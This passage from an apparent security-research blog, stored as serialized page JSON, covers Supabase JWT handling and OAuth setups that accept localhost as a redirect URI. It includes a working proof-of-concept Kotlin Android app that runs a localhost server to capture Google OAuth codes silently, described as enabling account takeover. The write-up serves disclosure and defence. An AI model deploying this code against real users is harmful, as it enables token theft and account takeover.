subsequently log in on the main platform, retrieve the token, and verify that their injected parameters persist in the JWT by submitting it to a verification endpoint. This happens because a function parseSupaBase was parsing and verifying everything generated by the JWT supabase token.",{"type":23,"tag":131,"props":68427,"children":68429},{"className":29831,"code":68428,"language":29833,"meta":7,"style":7},"function parseSupaBase(token) {\n try {\n const [header, payload, signature] = token.split('.');\n const decodedHeader = JSON.parse(atob(header));\n const decodedPayload = JSON.parse(atob(payload));\n return { header: decodedHeader, payload: decodedPayload, signature };\n } catch (error) {\n console.error('Error parsing token:', error);\n return null;\n }\n}\n",[68430],{"type":23,"tag":38,"props":68431,"children":68432},{"__ignoreMap":7},[68433,68458,68470,68539,68588,68636,68681,68704,68741,68757,68764],{"type":23,"tag":141,"props":68434,"children":68435},{"class":143,"line":144},[68436,68440,68445,68449,68454],{"type":23,"tag":141,"props":68437,"children":68438},{"style":449},[68439],{"type":29,"value":29845},{"type":23,"tag":141,"props":68441,"children":68442},{"style":184},[68443],{"type":29,"value":68444}," parseSupaBase",{"type":23,"tag":141,"props":68446,"children":68447},{"style":154},[68448],{"type":29,"value":192},{"type":23,"tag":141,"props":68450,"children":68451},{"style":750},[68452],{"type":29,"value":68453},"token",{"type":23,"tag":141,"props":68455,"children":68456},{"style":154},[68457],{"type":29,"value":13480},{"type":23,"tag":141,"props":68459,"children":68460},{"class":143,"line":180},[68461,68466],{"type":23,"tag":141,"props":68462,"children":68463},{"style":148},[68464],{"type":29,"value":68465}," try",{"type":23,"tag":141,"props":68467,"children":68468},{"style":154},[68469],{"type":29,"value":1951},{"type":23,"tag":141,"props":68471,"children":68472},{"class":143,"line":205},[68473,68477,68481,68486,68490,68495,68499,68504,68508,68512,68517,68521,68526,68530,68535],{"type":23,"tag":141,"props":68474,"children":68475},{"style":449},[68476],{"type":29,"value":31370},{"type":23,"tag":141,"props":68478,"children":68479},{"style":154},[68480],{"type":29,"value":21704},{"type":23,"tag":141,"props":68482,"children":68483},{"style":750},[68484],{"type":29,"value":68485},"header",{"type":23,"tag":141,"props":68487,"children":68488},{"style":154},[68489],{"type":29,"value":480},{"type":23,"tag":141,"props":68491,"children":68492},{"style":750},[68493],{"type":29,"value":68494},"payload",{"type":23,"tag":141,"props":68496,"children":68497},{"style":154},[68498],{"type":29,"value":480},{"type":23,"tag":141,"props":68500,"children":68501},{"style":750},[68502],{"type":29,"value":68503},"signature",{"type":23,"tag":141,"props":68505,"children":68506},{"style":154},[68507],{"type":29,"value":7337},{"type":23,"tag":141,"props":68509,"children":68510},{"style":160},[68511],{"type":29,"value":1377},{"type":23,"tag":141,"props":68513,"children":68514},{"style":750},[68515],{"type":29,"value":68516}," token",{"type":23,"tag":141,"props":68518,"children":68519},{"style":154},[68520],{"type":29,"value":322},{"type":23,"tag":141,"props":68522,"children":68523},{"style":184},[68524],{"type":29,"value":68525},"split",{"type":23,"tag":141,"props":68527,"children":68528},{"style":154},[68529],{"type":29,"value":192},{"type":23,"tag":141,"props":68531,"children":68532},{"style":828},[68533],{"type":29,"value":68534},"'.'",{"type":23,"tag":141,"props":68536,"children":68537},{"style":154},[68538],{"type":29,"value":2496},{"type":23,"tag":141,"props":68540,"children":68541},{"class":143,"line":218},[68542,68546,68551,68555,68559,68563,68567,68571,68576,68580,68584],{"type":23,"tag":141,"props":68543,"children":68544},{"style":449},[68545],{"type":29,"value":31370},{"type":23,"tag":141,"props":68547,"children":68548},{"style":750},[68549],{"type":29,"value":68550}," decodedHeader",{"type":23,"tag":141,"props":68552,"children":68553},{"style":160},[68554],{"type":29,"value":1674},{"type":23,"tag":141,"props":68556,"children":68557},{"style":750},[68558],{"type":29,"value":35999},{"type":23,"tag":141,"props":68560,"children":68561},{"style":154},[68562],{"type":29,"value":322},{"type":23,"tag":141,"props":68564,"children":68565},{"style":184},[68566],{"type":29,"value":37683},{"type":23,"tag":141,"props":68568,"children":68569},{"style":154},[68570],{"type":29,"value":192},{"type":23,"tag":141,"props":68572,"children":68573},{"style":184},[68574],{"type":29,"value":68575},"atob",{"type":23,"tag":141,"props":68577,"children":68578},{"style":154},[68579],{"type":29,"value":192},{"type":23,"tag":141,"props":68581,"children":68582},{"style":750},[68583],{"type":29,"value":68485},{"type":23,"tag":141,"props":68585,"children":68586},{"style":154},[68587],{"type":29,"value":5897},{"type":23,"tag":141,"props":68589,"children":68590},{"class":143,"line":227},[68591,68595,68600,68604,68608,68612,68616,68620,68624,68628,68632],{"type":23,"tag":141,"props":68592,"children":68593},{"style":449},[68594],{"type":29,"value":31370},{"type":23,"tag":141,"props":68596,"children":68597},{"style":750},[68598],{"type":29,"value":68599}," decodedPayload",{"type":23,"tag":141,"props":68601,"children":68602},{"style":160},[68603],{"type":29,"value":1674},{"type":23,"tag":141,"props":68605,"children":68606},{"style":750},[68607],{"type":29,"value":35999},{"type":23,"tag":141,"props":68609,"children":68610},{"style":154},[68611],{"type":29,"value":322},{"type":23,"tag":141,"props":68613,"children":68614},{"style":184},[68615],{"type":29,"value":37683},{"type":23,"tag":141,"props":68617,"children":68618},{"style":154},[68619],{"type":29,"value":192},{"type":23,"tag":141,"props":68621,"children":68622},{"style":184},[68623],{"type":29,"value":68575},{"type":23,"tag":141,"props":68625,"children":68626},{"style":154},[68627],{"type":29,"value":192},{"type":23,"tag":141,"props":68629,"children":68630},{"style":750},[68631],{"type":29,"value":68494},{"type":23,"tag":141,"props":68633,"children":68634},{"style":154},[68635],{"type":29,"value":5897},{"type":23,"tag":141,"props":68637,"children":68638},{"class":143,"line":241},[68639,68643,68647,68652,68656,68660,68665,68669,68673,68677],{"type":23,"tag":141,"props":68640,"children":68641},{"style":148},[68642],{"type":29,"value":14420},{"type":23,"tag":141,"props":68644,"children":68645},{"style":154},[68646],{"type":29,"value":8264},{"type":23,"tag":141,"props":68648,"children":68649},{"style":750},[68650],{"type":29,"value":68651},"header:",{"type":23,"tag":141,"props":68653,"children":68654},{"style":750},[68655],{"type":29,"value":68550},{"type":23,"tag":141,"props":68657,"children":68658},{"style":154},[68659],{"type":29,"value":480},{"type":23,"tag":141,"props":68661,"children":68662},{"style":750},[68663],{"type":29,"value":68664},"payload:",{"type":23,"tag":141,"props":68666,"children":68667},{"style":750},[68668],{"type":29,"value":68599},{"type":23,"tag":141,"props":68670,"children":68671},{"style":154},[68672],{"type":29,"value":480},{"type":23,"tag":141,"props":68674,"children":68675},{"style":750},[68676],{"type":29,"value":68503},{"type":23,"tag":141,"props":68678,"children":68679},{"style":154},[68680],{"type":29,"value":16977},{"type":23,"tag":141,"props":68682,"children":68683},{"class":143,"line":262},[68684,68688,68692,68696,68700],{"type":23,"tag":141,"props":68685,"children":68686},{"style":154},[68687],{"type":29,"value":14455},{"type":23,"tag":141,"props":68689,"children":68690},{"style":148},[68691],{"type":29,"value":46889},{"type":23,"tag":141,"props":68693,"children":68694},{"style":154},[68695],{"type":29,"value":1220},{"type":23,"tag":141,"props":68697,"children":68698},{"style":750},[68699],{"type":29,"value":13540},{"type":23,"tag":141,"props":68701,"children":68702},{"style":154},[68703],{"type":29,"value":13480},{"type":23,"tag":141,"props":68705,"children":68706},{"class":143,"line":271},[68707,68712,68716,68720,68724,68729,68733,68737],{"type":23,"tag":141,"props":68708,"children":68709},{"style":750},[68710],{"type":29,"value":68711}," console",{"type":23,"tag":141,"props":68713,"children":68714},{"style":154},[68715],{"type":29,"value":322},{"type":23,"tag":141,"props":68717,"children":68718},{"style":184},[68719],{"type":29,"value":13540},{"type":23,"tag":141,"props":68721,"children":68722},{"style":154},[68723],{"type":29,"value":192},{"type":23,"tag":141,"props":68725,"children":68726},{"style":828},[68727],{"type":29,"value":68728},"'Error parsing token:'",{"type":23,"tag":141,"props":68730,"children":68731},{"style":154},[68732],{"type":29,"value":480},{"type":23,"tag":141,"props":68734,"children":68735},{"style":750},[68736],{"type":29,"value":13540},{"type":23,"tag":141,"props":68738,"children":68739},{"style":154},[68740],{"type":29,"value":2496},{"type":23,"tag":141,"props":68742,"children":68743},{"class":143,"line":293},[68744,68748,68753],{"type":23,"tag":141,"props":68745,"children":68746},{"style":148},[68747],{"type":29,"value":14420},{"type":23,"tag":141,"props":68749,"children":68750},{"style":449},[68751],{"type":29,"value":68752}," null",{"type":23,"tag":141,"props":68754,"children":68755},{"style":154},[68756],{"type":29,"value":1684},{"type":23,"tag":141,"props":68758,"children":68759},{"class":143,"line":801},[68760],{"type":23,"tag":141,"props":68761,"children":68762},{"style":154},[68763],{"type":29,"value":299},{"type":23,"tag":141,"props":68765,"children":68766},{"class":143,"line":810},[68767],{"type":23,"tag":141,"props":68768,"children":68769},{"style":154},[68770],{"type":29,"value":2573},{"type":23,"tag":8287,"props":68772,"children":68773},{"id":38805},[68774],{"type":29,"value":38808},{"type":23,"tag":32,"props":68776,"children":68777},{},[68778,68780,68787,68789,68795],{"type":29,"value":68779},"Developers should avoid trusting input from their Supabase custom domain. ",{"type":23,"tag":55,"props":68781,"children":68784},{"href":68782,"rel":68783},"https://supabase.com/docs/guides/database/postgres/row-level-security",[59],[68785],{"type":29,"value":68786},"Row-Level Security",{"type":29,"value":68788}," (RLS) on Supabase should be enforced, plus important and private fields should be defined in ",{"type":23,"tag":38,"props":68790,"children":68792},{"className":68791},[],[68793],{"type":29,"value":68794},"app_metadata",{"type":29,"value":68796},". These fields must be strictly validated at every step of their creation and update processes.",{"type":23,"tag":24,"props":68798,"children":68800},{"id":68799},"oauth-in-development-environments",[68801],{"type":29,"value":68802},"OAuth in development environments",{"type":23,"tag":32,"props":68804,"children":68805},{},[68806,68808,68815,68817,68822],{"type":29,"value":68807},"After watching a ",{"type":23,"tag":55,"props":68809,"children":68812},{"href":68810,"rel":68811},"https://docs.google.com/presentation/d/1571_ZSOtfVat9u63zfn1ugTPZRN7pQsFIblcxci3czM/edit",[59],[68813],{"type":29,"value":68814},"talk",{"type":29,"value":68816}," by Luan Herrera on exploiting the logic of desktop apps that use OAuth for authentication (specifically using a localhost server), we noticed that many of our customers also permitted localhost within the ",{"type":23,"tag":38,"props":68818,"children":68820},{"className":68819},[],[68821],{"type":29,"value":68248},{"type":29,"value":68823}," parameter during the OAuth flow.",{"type":23,"tag":32,"props":68825,"children":68826},{},[68827,68829,68836],{"type":29,"value":68828},"Herrera's research highlights that if localhost is allowed as a redirect URI, it is generally not exploitable in a desktop environment because impersonating localhost without ",{"type":23,"tag":55,"props":68830,"children":68833},{"href":68831,"rel":68832},"https://www.cloudflare.com/learning/security/what-is-remote-code-execution/",[59],[68834],{"type":29,"value":68835},"Remote Code Execution",{"type":29,"value":68837}," (RCE) is impossible. However, the scenario changes in a mobile environment, where it is feasible to open a localhost web server using a malicious app, making exploitation possible.",{"type":23,"tag":32,"props":68839,"children":68840},{},[68841,68843,68849],{"type":29,"value":68842},"In one of our client's implementations, we identified that ",{"type":23,"tag":38,"props":68844,"children":68846},{"className":68845},[],[68847],{"type":29,"value":68848},"localhost:3000",{"type":29,"value":68850}," was permitted. The exploitation method is the same as demonstrated in Herrera's talk. However, we observed that localhost servers are frequently used and whitelisted by developers, not only for desktop applications but also for testing and development environments.",{"type":23,"tag":32,"props":68852,"children":68853},{},[68854],{"type":29,"value":68855},"For the exploitation, the final Google OAuth URL was constructed as follows:",{"type":23,"tag":131,"props":68857,"children":68861},{"className":68858,"code":68859,"language":68860,"meta":7,"style":7},"language-url shiki shiki-themes slack-dark","https://accounts.google.com/o/oauth2/v2/auth?client_id=redacted&scope=openid%20email%20profile&response_type=code&redirect_uri=http%3A%2F%2Flocalhost%3A3000%2Fapi%2Fauth%2Fcallback%2Fgoogle&prompt=none&access_type=offline&state=2UTJ8naHVglSQQupa1jw1lugsaZr8f5M9hxZp7bxISM&code_challenge=e6_Onj804xizwJzVT5Pf8luKPbtLV-EJssR7I58UQp8&code_challenge_method=S256&service=lso&o2v=2&ddm=1&flowName=GeneralOAuthFlow\n","url",[68862],{"type":23,"tag":38,"props":68863,"children":68864},{"__ignoreMap":7},[68865],{"type":23,"tag":141,"props":68866,"children":68867},{"class":143,"line":144},[68868],{"type":23,"tag":141,"props":68869,"children":68870},{},[68871],{"type":29,"value":68859},{"type":23,"tag":32,"props":68873,"children":68874},{},[68875],{"type":29,"value":68876},"Since there was no public exploit, we also created a proof of concept demonstrating how a malicious APK can be created to steal the OAuth token simply by opening the malicious app. This occurs without any user interaction and results in account takeover.",{"type":23,"tag":131,"props":68878,"children":68882},{"className":68879,"code":68880,"language":68881,"meta":7,"style":7},"language-kotlin shiki shiki-themes slack-dark","class MainActivity : AppCompatActivity() {\n\n override fun onCreate(savedInstanceState: Bundle?) {\n super.onCreate(savedInstanceState)\n\n // Start the Ktor web server\n CoroutineScope(Dispatchers.IO).launch {\n try {\n startWebServer()\n Log.d(\"WebServer\", \"Server started on http://localhost:3000\")\n } catch (e: Exception) {\n Log.e(\"WebServer\", \"Error starting server: ${e.message}\", e)\n }\n }\n\n // Open the Google OAuth page\n val googleOAuthUrl = \"https://accounts.google.com/o/oauth2/v2/auth?client_id=redacted&scope=openid%20email%20profile&response_type=code&redirect_uri=http%3A%2F%2Flocalhost%3A3000%2Fapi%2Fauth%2Fcallback%2Fgoogle&prompt=none&access_type=offline&state=2UTJ8naHVglSQQupa1jw1lugsaZr8f5M9hxZp7bxISM&code_challenge=e6_Onj804xizwJzVT5Pf8luKPbtLV-EJssR7I58UQp8&code_challenge_method=S256&service=lso&o2v=2&ddm=1&flowName=GeneralOAuthFlow\"\n val browserIntent = Intent(Intent.ACTION_VIEW, Uri.parse(googleOAuthUrl))\n startActivity(browserIntent)\n }\n\n private fun startWebServer() {\n embeddedServer(CIO, port = 3000) {\n routing {\n get(\"{...}\") {\n call.respondHtml {\n head {\n meta(charset = \"UTF-8\")\n meta(name = \"viewport\", content = \"width=device-width, initial-scale=1.0\")\n title(\"OAuth Redirect\")\n }\n body {\n h1 { +\"Google OAuth Redirect\" }\n script {\n +\"document.body.innerText = location.search;\"\n }\n }\n }\n }\n }\n }.start(wait = true)\n }\n}\n","kotlin",[68883],{"type":23,"tag":38,"props":68884,"children":68885},{"__ignoreMap":7},[68886,68913,68920,68952,68974,68981,68989,69011,69023,69035,69070,69096,69146,69153,69160,69167,69175,69197,69232,69245,69252,69259,69280,69306,69318,69339,69356,69368,69394,69433,69454,69462,69474,69499,69511,69524,69532,69539,69547,69555,69562,69592,69599],{"type":23,"tag":141,"props":68887,"children":68888},{"class":143,"line":144},[68889,68894,68899,68904,68909],{"type":23,"tag":141,"props":68890,"children":68891},{"style":449},[68892],{"type":29,"value":68893},"class",{"type":23,"tag":141,"props":68895,"children":68896},{"style":725},[68897],{"type":29,"value":68898}," MainActivity",{"type":23,"tag":141,"props":68900,"children":68901},{"style":154},[68902],{"type":29,"value":68903}," : ",{"type":23,"tag":141,"props":68905,"children":68906},{"style":725},[68907],{"type":29,"value":68908},"AppCompatActivity",{"type":23,"tag":141,"props":68910,"children":68911},{"style":154},[68912],{"type":29,"value":14412},{"type":23,"tag":141,"props":68914,"children":68915},{"class":143,"line":180},[68916],{"type":23,"tag":141,"props":68917,"children":68918},{"emptyLinePlaceholder":15},[68919],{"type":29,"value":719},{"type":23,"tag":141,"props":68921,"children":68922},{"class":143,"line":205},[68923,68928,68932,68937,68942,68947],{"type":23,"tag":141,"props":68924,"children":68925},{"style":449},[68926],{"type":29,"value":68927}," override",{"type":23,"tag":141,"props":68929,"children":68930},{"style":449},[68931],{"type":29,"value":4881},{"type":23,"tag":141,"props":68933,"children":68934},{"style":184},[68935],{"type":29,"value":68936}," onCreate",{"type":23,"tag":141,"props":68938,"children":68939},{"style":154},[68940],{"type":29,"value":68941},"(savedInstanceState: ",{"type":23,"tag":141,"props":68943,"children":68944},{"style":725},[68945],{"type":29,"value":68946},"Bundle",{"type":23,"tag":141,"props":68948,"children":68949},{"style":154},[68950],{"type":29,"value":68951},"?) {\n",{"type":23,"tag":141,"props":68953,"children":68954},{"class":143,"line":218},[68955,68960,68964,68969],{"type":23,"tag":141,"props":68956,"children":68957},{"style":449},[68958],{"type":29,"value":68959}," super",{"type":23,"tag":141,"props":68961,"children":68962},{"style":154},[68963],{"type":29,"value":322},{"type":23,"tag":141,"props":68965,"children":68966},{"style":184},[68967],{"type":29,"value":68968},"onCreate",{"type":23,"tag":141,"props":68970,"children":68971},{"style":154},[68972],{"type":29,"value":68973},"(savedInstanceState)\n",{"type":23,"tag":141,"props":68975,"children":68976},{"class":143,"line":227},[68977],{"type":23,"tag":141,"props":68978,"children":68979},{"emptyLinePlaceholder":15},[68980],{"type":29,"value":719},{"type":23,"tag":141,"props":68982,"children":68983},{"class":143,"line":241},[68984],{"type":23,"tag":141,"props":68985,"children":68986},{"style":443},[68987],{"type":29,"value":68988}," // Start the Ktor web server\n",{"type":23,"tag":141,"props":68990,"children":68991},{"class":143,"line":262},[68992,68997,69002,69007],{"type":23,"tag":141,"props":68993,"children":68994},{"style":184},[68995],{"type":29,"value":68996}," CoroutineScope",{"type":23,"tag":141,"props":68998,"children":68999},{"style":154},[69000],{"type":29,"value":69001},"(Dispatchers.IO).",{"type":23,"tag":141,"props":69003,"children":69004},{"style":184},[69005],{"type":29,"value":69006},"launch",{"type":23,"tag":141,"props":69008,"children":69009},{"style":154},[69010],{"type":29,"value":1951},{"type":23,"tag":141,"props":69012,"children":69013},{"class":143,"line":271},[69014,69019],{"type":23,"tag":141,"props":69015,"children":69016},{"style":148},[69017],{"type":29,"value":69018}," try",{"type":23,"tag":141,"props":69020,"children":69021},{"style":154},[69022],{"type":29,"value":1951},{"type":23,"tag":141,"props":69024,"children":69025},{"class":143,"line":293},[69026,69031],{"type":23,"tag":141,"props":69027,"children":69028},{"style":184},[69029],{"type":29,"value":69030}," startWebServer",{"type":23,"tag":141,"props":69032,"children":69033},{"style":154},[69034],{"type":29,"value":6410},{"type":23,"tag":141,"props":69036,"children":69037},{"class":143,"line":801},[69038,69043,69048,69052,69057,69061,69066],{"type":23,"tag":141,"props":69039,"children":69040},{"style":154},[69041],{"type":29,"value":69042}," Log.",{"type":23,"tag":141,"props":69044,"children":69045},{"style":184},[69046],{"type":29,"value":69047},"d",{"type":23,"tag":141,"props":69049,"children":69050},{"style":154},[69051],{"type":29,"value":192},{"type":23,"tag":141,"props":69053,"children":69054},{"style":828},[69055],{"type":29,"value":69056},"\"WebServer\"",{"type":23,"tag":141,"props":69058,"children":69059},{"style":154},[69060],{"type":29,"value":480},{"type":23,"tag":141,"props":69062,"children":69063},{"style":828},[69064],{"type":29,"value":69065},"\"Server started on http://localhost:3000\"",{"type":23,"tag":141,"props":69067,"children":69068},{"style":154},[69069],{"type":29,"value":758},{"type":23,"tag":141,"props":69071,"children":69072},{"class":143,"line":810},[69073,69078,69082,69087,69092],{"type":23,"tag":141,"props":69074,"children":69075},{"style":154},[69076],{"type":29,"value":69077}," } ",{"type":23,"tag":141,"props":69079,"children":69080},{"style":449},[69081],{"type":29,"value":46889},{"type":23,"tag":141,"props":69083,"children":69084},{"style":154},[69085],{"type":29,"value":69086}," (e: ",{"type":23,"tag":141,"props":69088,"children":69089},{"style":725},[69090],{"type":29,"value":69091},"Exception",{"type":23,"tag":141,"props":69093,"children":69094},{"style":154},[69095],{"type":29,"value":13480},{"type":23,"tag":141,"props":69097,"children":69098},{"class":143,"line":824},[69099,69103,69107,69111,69115,69119,69124,69128,69133,69137,69141],{"type":23,"tag":141,"props":69100,"children":69101},{"style":154},[69102],{"type":29,"value":69042},{"type":23,"tag":141,"props":69104,"children":69105},{"style":184},[69106],{"type":29,"value":49933},{"type":23,"tag":141,"props":69108,"children":69109},{"style":154},[69110],{"type":29,"value":192},{"type":23,"tag":141,"props":69112,"children":69113},{"style":828},[69114],{"type":29,"value":69056},{"type":23,"tag":141,"props":69116,"children":69117},{"style":154},[69118],{"type":29,"value":480},{"type":23,"tag":141,"props":69120,"children":69121},{"style":828},[69122],{"type":29,"value":69123},"\"Error starting server: ",{"type":23,"tag":141,"props":69125,"children":69126},{"style":449},[69127],{"type":29,"value":32578},{"type":23,"tag":141,"props":69129,"children":69130},{"style":160},[69131],{"type":29,"value":69132},"e.message",{"type":23,"tag":141,"props":69134,"children":69135},{"style":449},[69136],{"type":29,"value":32610},{"type":23,"tag":141,"props":69138,"children":69139},{"style":828},[69140],{"type":29,"value":18731},{"type":23,"tag":141,"props":69142,"children":69143},{"style":154},[69144],{"type":29,"value":69145},", e)\n",{"type":23,"tag":141,"props":69147,"children":69148},{"class":143,"line":839},[69149],{"type":23,"tag":141,"props":69150,"children":69151},{"style":154},[69152],{"type":29,"value":57365},{"type":23,"tag":141,"props":69154,"children":69155},{"class":143,"line":848},[69156],{"type":23,"tag":141,"props":69157,"children":69158},{"style":154},[69159],{"type":29,"value":2008},{"type":23,"tag":141,"props":69161,"children":69162},{"class":143,"line":2304},[69163],{"type":23,"tag":141,"props":69164,"children":69165},{"emptyLinePlaceholder":15},[69166],{"type":29,"value":719},{"type":23,"tag":141,"props":69168,"children":69169},{"class":143,"line":2313},[69170],{"type":23,"tag":141,"props":69171,"children":69172},{"style":443},[69173],{"type":29,"value":69174}," // Open the Google OAuth page\n",{"type":23,"tag":141,"props":69176,"children":69177},{"class":143,"line":2335},[69178,69183,69188,69192],{"type":23,"tag":141,"props":69179,"children":69180},{"style":449},[69181],{"type":29,"value":69182}," val",{"type":23,"tag":141,"props":69184,"children":69185},{"style":154},[69186],{"type":29,"value":69187}," googleOAuthUrl ",{"type":23,"tag":141,"props":69189,"children":69190},{"style":160},[69191],{"type":29,"value":1377},{"type":23,"tag":141,"props":69193,"children":69194},{"style":828},[69195],{"type":29,"value":69196}," \"https://accounts.google.com/o/oauth2/v2/auth?client_id=redacted&scope=openid%20email%20profile&response_type=code&redirect_uri=http%3A%2F%2Flocalhost%3A3000%2Fapi%2Fauth%2Fcallback%2Fgoogle&prompt=none&access_type=offline&state=2UTJ8naHVglSQQupa1jw1lugsaZr8f5M9hxZp7bxISM&code_challenge=e6_Onj804xizwJzVT5Pf8luKPbtLV-EJssR7I58UQp8&code_challenge_method=S256&service=lso&o2v=2&ddm=1&flowName=GeneralOAuthFlow\"\n",{"type":23,"tag":141,"props":69198,"children":69199},{"class":143,"line":2343},[69200,69204,69209,69213,69218,69223,69227],{"type":23,"tag":141,"props":69201,"children":69202},{"style":449},[69203],{"type":29,"value":69182},{"type":23,"tag":141,"props":69205,"children":69206},{"style":154},[69207],{"type":29,"value":69208}," browserIntent ",{"type":23,"tag":141,"props":69210,"children":69211},{"style":160},[69212],{"type":29,"value":1377},{"type":23,"tag":141,"props":69214,"children":69215},{"style":184},[69216],{"type":29,"value":69217}," Intent",{"type":23,"tag":141,"props":69219,"children":69220},{"style":154},[69221],{"type":29,"value":69222},"(Intent.ACTION_VIEW, Uri.",{"type":23,"tag":141,"props":69224,"children":69225},{"style":184},[69226],{"type":29,"value":37683},{"type":23,"tag":141,"props":69228,"children":69229},{"style":154},[69230],{"type":29,"value":69231},"(googleOAuthUrl))\n",{"type":23,"tag":141,"props":69233,"children":69234},{"class":143,"line":2352},[69235,69240],{"type":23,"tag":141,"props":69236,"children":69237},{"style":184},[69238],{"type":29,"value":69239}," startActivity",{"type":23,"tag":141,"props":69241,"children":69242},{"style":154},[69243],{"type":29,"value":69244},"(browserIntent)\n",{"type":23,"tag":141,"props":69246,"children":69247},{"class":143,"line":2421},[69248],{"type":23,"tag":141,"props":69249,"children":69250},{"style":154},[69251],{"type":29,"value":299},{"type":23,"tag":141,"props":69253,"children":69254},{"class":143,"line":2429},[69255],{"type":23,"tag":141,"props":69256,"children":69257},{"emptyLinePlaceholder":15},[69258],{"type":29,"value":719},{"type":23,"tag":141,"props":69260,"children":69261},{"class":143,"line":2459},[69262,69267,69271,69276],{"type":23,"tag":141,"props":69263,"children":69264},{"style":449},[69265],{"type":29,"value":69266}," private",{"type":23,"tag":141,"props":69268,"children":69269},{"style":449},[69270],{"type":29,"value":4881},{"type":23,"tag":141,"props":69272,"children":69273},{"style":184},[69274],{"type":29,"value":69275}," startWebServer",{"type":23,"tag":141,"props":69277,"children":69278},{"style":154},[69279],{"type":29,"value":14412},{"type":23,"tag":141,"props":69281,"children":69282},{"class":143,"line":2467},[69283,69288,69293,69297,69302],{"type":23,"tag":141,"props":69284,"children":69285},{"style":184},[69286],{"type":29,"value":69287}," embeddedServer",{"type":23,"tag":141,"props":69289,"children":69290},{"style":154},[69291],{"type":29,"value":69292},"(CIO, port ",{"type":23,"tag":141,"props":69294,"children":69295},{"style":160},[69296],{"type":29,"value":1377},{"type":23,"tag":141,"props":69298,"children":69299},{"style":472},[69300],{"type":29,"value":69301}," 3000",{"type":23,"tag":141,"props":69303,"children":69304},{"style":154},[69305],{"type":29,"value":13480},{"type":23,"tag":141,"props":69307,"children":69308},{"class":143,"line":2499},[69309,69314],{"type":23,"tag":141,"props":69310,"children":69311},{"style":184},[69312],{"type":29,"value":69313}," routing",{"type":23,"tag":141,"props":69315,"children":69316},{"style":154},[69317],{"type":29,"value":1951},{"type":23,"tag":141,"props":69319,"children":69320},{"class":143,"line":2507},[69321,69326,69330,69335],{"type":23,"tag":141,"props":69322,"children":69323},{"style":449},[69324],{"type":29,"value":69325}," get",{"type":23,"tag":141,"props":69327,"children":69328},{"style":154},[69329],{"type":29,"value":192},{"type":23,"tag":141,"props":69331,"children":69332},{"style":828},[69333],{"type":29,"value":69334},"\"{...}\"",{"type":23,"tag":141,"props":69336,"children":69337},{"style":154},[69338],{"type":29,"value":13480},{"type":23,"tag":141,"props":69340,"children":69341},{"class":143,"line":2567},[69342,69347,69352],{"type":23,"tag":141,"props":69343,"children":69344},{"style":154},[69345],{"type":29,"value":69346}," call.",{"type":23,"tag":141,"props":69348,"children":69349},{"style":184},[69350],{"type":29,"value":69351},"respondHtml",{"type":23,"tag":141,"props":69353,"children":69354},{"style":154},[69355],{"type":29,"value":1951},{"type":23,"tag":141,"props":69357,"children":69358},{"class":143,"line":7724},[69359,69364],{"type":23,"tag":141,"props":69360,"children":69361},{"style":184},[69362],{"type":29,"value":69363}," head",{"type":23,"tag":141,"props":69365,"children":69366},{"style":154},[69367],{"type":29,"value":1951},{"type":23,"tag":141,"props":69369,"children":69370},{"class":143,"line":7742},[69371,69376,69381,69385,69390],{"type":23,"tag":141,"props":69372,"children":69373},{"style":184},[69374],{"type":29,"value":69375}," meta",{"type":23,"tag":141,"props":69377,"children":69378},{"style":154},[69379],{"type":29,"value":69380},"(charset ",{"type":23,"tag":141,"props":69382,"children":69383},{"style":160},[69384],{"type":29,"value":1377},{"type":23,"tag":141,"props":69386,"children":69387},{"style":828},[69388],{"type":29,"value":69389}," \"UTF-8\"",{"type":23,"tag":141,"props":69391,"children":69392},{"style":154},[69393],{"type":29,"value":758},{"type":23,"tag":141,"props":69395,"children":69396},{"class":143,"line":7787},[69397,69401,69406,69410,69415,69420,69424,69429],{"type":23,"tag":141,"props":69398,"children":69399},{"style":184},[69400],{"type":29,"value":69375},{"type":23,"tag":141,"props":69402,"children":69403},{"style":154},[69404],{"type":29,"value":69405},"(name ",{"type":23,"tag":141,"props":69407,"children":69408},{"style":160},[69409],{"type":29,"value":1377},{"type":23,"tag":141,"props":69411,"children":69412},{"style":828},[69413],{"type":29,"value":69414}," \"viewport\"",{"type":23,"tag":141,"props":69416,"children":69417},{"style":154},[69418],{"type":29,"value":69419},", content ",{"type":23,"tag":141,"props":69421,"children":69422},{"style":160},[69423],{"type":29,"value":1377},{"type":23,"tag":141,"props":69425,"children":69426},{"style":828},[69427],{"type":29,"value":69428}," \"width=device-width, initial-scale=1.0\"",{"type":23,"tag":141,"props":69430,"children":69431},{"style":154},[69432],{"type":29,"value":758},{"type":23,"tag":141,"props":69434,"children":69435},{"class":143,"line":7893},[69436,69441,69445,69450],{"type":23,"tag":141,"props":69437,"children":69438},{"style":184},[69439],{"type":29,"value":69440}," title",{"type":23,"tag":141,"props":69442,"children":69443},{"style":154},[69444],{"type":29,"value":192},{"type":23,"tag":141,"props":69446,"children":69447},{"style":828},[69448],{"type":29,"value":69449},"\"OAuth Redirect\"",{"type":23,"tag":141,"props":69451,"children":69452},{"style":154},[69453],{"type":29,"value":758},{"type":23,"tag":141,"props":69455,"children":69456},{"class":143,"line":22181},[69457],{"type":23,"tag":141,"props":69458,"children":69459},{"style":154},[69460],{"type":29,"value":69461}," }\n",{"type":23,"tag":141,"props":69463,"children":69464},{"class":143,"line":22216},[69465,69470],{"type":23,"tag":141,"props":69466,"children":69467},{"style":184},[69468],{"type":29,"value":69469}," body",{"type":23,"tag":141,"props":69471,"children":69472},{"style":154},[69473],{"type":29,"value":1951},{"type":23,"tag":141,"props":69475,"children":69476},{"class":143,"line":22224},[69477,69482,69486,69490,69495],{"type":23,"tag":141,"props":69478,"children":69479},{"style":184},[69480],{"type":29,"value":69481}," h1",{"type":23,"tag":141,"props":69483,"children":69484},{"style":154},[69485],{"type":29,"value":8264},{"type":23,"tag":141,"props":69487,"children":69488},{"style":160},[69489],{"type":29,"value":3058},{"type":23,"tag":141,"props":69491,"children":69492},{"style":828},[69493],{"type":29,"value":69494},"\"Google OAuth Redirect\"",{"type":23,"tag":141,"props":69496,"children":69497},{"style":154},[69498],{"type":29,"value":8274},{"type":23,"tag":141,"props":69500,"children":69501},{"class":143,"line":22232},[69502,69507],{"type":23,"tag":141,"props":69503,"children":69504},{"style":184},[69505],{"type":29,"value":69506}," script",{"type":23,"tag":141,"props":69508,"children":69509},{"style":154},[69510],{"type":29,"value":1951},{"type":23,"tag":141,"props":69512,"children":69513},{"class":143,"line":22241},[69514,69519],{"type":23,"tag":141,"props":69515,"children":69516},{"style":160},[69517],{"type":29,"value":69518}," 